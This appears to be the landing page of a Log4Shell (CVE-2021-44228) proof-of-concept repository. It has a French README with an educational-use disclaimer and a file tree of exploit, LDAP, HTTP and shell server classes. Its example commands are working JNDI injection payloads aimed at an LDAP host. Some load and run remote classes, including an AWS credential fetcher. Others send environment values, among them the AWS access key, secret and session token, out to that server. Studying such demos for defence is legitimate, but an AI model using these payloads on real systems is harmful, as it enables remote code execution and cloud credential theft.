CVE-2021-44228 PoC — Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints

Source

Associated Vulnerability

Title:Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints (CVE-2021-44228)
Description:Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.

Description

Démo du fonctionnement de log4shell (CVE-2021-44228)

Readme

# Log4Shell

Ce projet est une démonstration du fonctionnement de la faille de sécurité log4shell.

Cette faille est décrite dans la CVE-2021-44228.

Le projet est destiné à un usage pédagogique uniquement.
Il ne doit être utilisé que sur votre propre système et uniquement dans un but expérimental.

**Toute exécution est effectuée à vos risques et périls.**
**L'auteur décline toute responsabilité en cas d'incident en conséquence de l'exécution du projet.**


## Exemple de commandes
    
    ldap_server=i-09cd4f41e5a2b1d66.eu-west-3.compute.internal:1389
    hello '${jndi:ldap://'"${ldap_server}"'/run=log4shell.Exploit}'
    hello '${jndi:ldap://'"${ldap_server}"'/run=log4shell.ExploitP,msg=my friend}'
    hello '${jndi:ldap://'"${ldap_server}"'/run=log4shell.aws.FetchCreds}'
    hello '${jndi:ldap://'"${ldap_server}"'/log=PATH:${env:USER}}'
    hello '${jndi:ldap://'"${ldap_server}"'/log=PATH:${env:PATH}}'
    hello '${jndi:ldap://'"${ldap_server}"'/log=os=${java:os}}'
    hello '${jndi:ldap://'"${ldap_server}"'/log=aws_credentials,AWS_ACCESS_KEY_ID=${env:AWS_ACCESS_KEY_ID},AWS_SECRET_ACCESS_KEY=${env:AWS_SECRET_ACCESS_ID},AWS_SESSION_TOKEN=${env:AWS_SESSION_TOKEN}}'

File Snapshot


 [4.0K]  /data/pocs/9da9788670ded4e59b6c89f29338ddebdbce2503
├── [4.0K]  gradle
│   └── [4.0K]  wrapper
│       ├── [ 58K]  gradle-wrapper.jar
│       └── [ 200]  gradle-wrapper.properties
├── [7.9K]  gradlew
├── [2.7K]  gradlew.bat
├── [4.0K]  hello
│   ├── [ 831]  build.gradle.kts
│   └── [4.0K]  src
│       └── [4.0K]  main
│           ├── [4.0K]  java
│           │   └── [4.0K]  log4shell
│           │       └── [ 484]  Hello.java
│           └── [4.0K]  resources
│               └── [ 316]  log4j2.xml
├── [ 558]  install
├── [ 34K]  LICENSE
├── [4.0K]  log4shell-server
│   ├── [1.0K]  build.gradle.kts
│   └── [4.0K]  src
│       ├── [4.0K]  main
│       │   ├── [4.0K]  java
│       │   │   └── [4.0K]  log4shell
│       │   │       ├── [4.0K]  aws
│       │   │       │   ├── [3.2K]  Creds.java
│       │   │       │   ├── [4.3K]  FetchCreds.java
│       │   │       │   ├── [1.4K]  InstanceSession.java
│       │   │       │   └── [ 370]  LogCreds.java
│       │   │       ├── [ 273]  Command.java
│       │   │       ├── [ 995]  CommandParser.java
│       │   │       ├── [1.4K]  Config.java
│       │   │       ├── [ 204]  Exploit.java
│       │   │       ├── [ 741]  ExploitP.java
│       │   │       ├── [2.5K]  HttpClient.java
│       │   │       ├── [7.7K]  HttpServer.java
│       │   │       ├── [ 948]  IO.java
│       │   │       ├── [ 519]  Json.java
│       │   │       ├── [2.7K]  LdapServer.java
│       │   │       ├── [1.5K]  LogCommand.java
│       │   │       ├── [ 597]  NoOpCommand.java
│       │   │       ├── [2.3K]  RunCommand.java
│       │   │       ├── [1.1K]  ShellServer.java
│       │   │       ├── [ 125]  WithHttpServerUri.java
│       │   │       └── [ 116]  WithParams.java
│       │   └── [4.0K]  resources
│       │       └── [ 931]  logback.xml
│       └── [4.0K]  test
│           └── [4.0K]  java
│               └── [4.0K]  log4shell
│                   └── [ 842]  DnTest.java
├── [1.2K]  README.md
└── [ 401]  settings.gradle.kts

18 directories, 34 files

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